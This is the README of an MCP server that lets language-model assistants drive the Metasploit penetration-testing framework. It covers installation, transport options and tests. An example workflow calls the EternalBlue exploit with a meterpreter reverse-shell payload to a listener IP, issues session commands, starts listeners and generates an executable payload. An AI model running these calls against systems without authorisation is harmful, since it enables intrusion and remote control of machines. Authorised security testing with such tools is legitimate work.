
Metasploit
HTTP-SSESTDIOMCP server for integrating language models with Metasploit penetration testing platform
MCP server for integrating language models with Metasploit penetration testing platform
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Start the Metasploit RPC service:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
The server supports two transport methods:
You can explicitly select the transport mode using the --transport
flag:
# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio
Additional options for HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
For Claude Desktop integration, configure claude_desktop_config.json
:
{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }
For other MCP clients that use HTTP/SSE:
Start the server in HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Configure your MCP client to connect to:
http://your-server-ip:8085/sse
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
list_exploits("ms17_010")
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
list_active_sessions()
send_session_command(1, "whoami")
run_post_module("windows/gather/enum_logged_on_users", 1)
send_session_command(1, "sysinfo")
terminate_session(1)
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
list_listeners()
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
stop_job(1)
This project includes comprehensive unit and integration tests to ensure reliability and maintainability.
Install test dependencies:
pip install -r requirements-test.txt
Or use the convenient installer:
python run_tests.py --install-deps # OR make install-deps
# Run all tests python run_tests.py --all # OR make test # Run with coverage report python run_tests.py --all --coverage # OR make coverage # Run with HTML coverage report python run_tests.py --all --coverage --html # OR make coverage-html
# Unit tests only python run_tests.py --unit # OR make test-unit # Integration tests only python run_tests.py --integration # OR make test-integration # Options parsing tests python run_tests.py --options # OR make test-options # Helper function tests python run_tests.py --helpers # OR make test-helpers # MCP tools tests python run_tests.py --tools # OR make test-tools
# Include slow tests python run_tests.py --all --slow # Include network tests (requires actual network) python run_tests.py --all --network # Verbose output python run_tests.py --all --verbose # Quick test (no coverage, fail fast) make quick-test # Debug mode (detailed failure info) make test-debug
tests/test_options_parsing.py
: Unit tests for the graceful options parsing functionalitytests/test_helpers.py
: Unit tests for internal helper functions and MSF client managementtests/test_tools_integration.py
: Integration tests for all MCP tools with mocked Metasploit backendconftest.py
: Shared test fixtures and configurationpytest.ini
: Pytest configuration with coverage settingsAfter running tests with coverage, reports are available in:
htmlcov/index.html
(when using --html
option)For continuous integration:
# CI-friendly test command make ci-test # OR python run_tests.py --all --coverage --verbose
By default, payloads generated with generate_payload
are saved to a payloads
directory in your home folder (~/payloads
or C:\Users\YourUsername\payloads
). You can customize this location by setting the PAYLOAD_SAVE_DIR
environment variable.
Setting the environment variable:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
In Claude Desktop config:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
Apache 2.0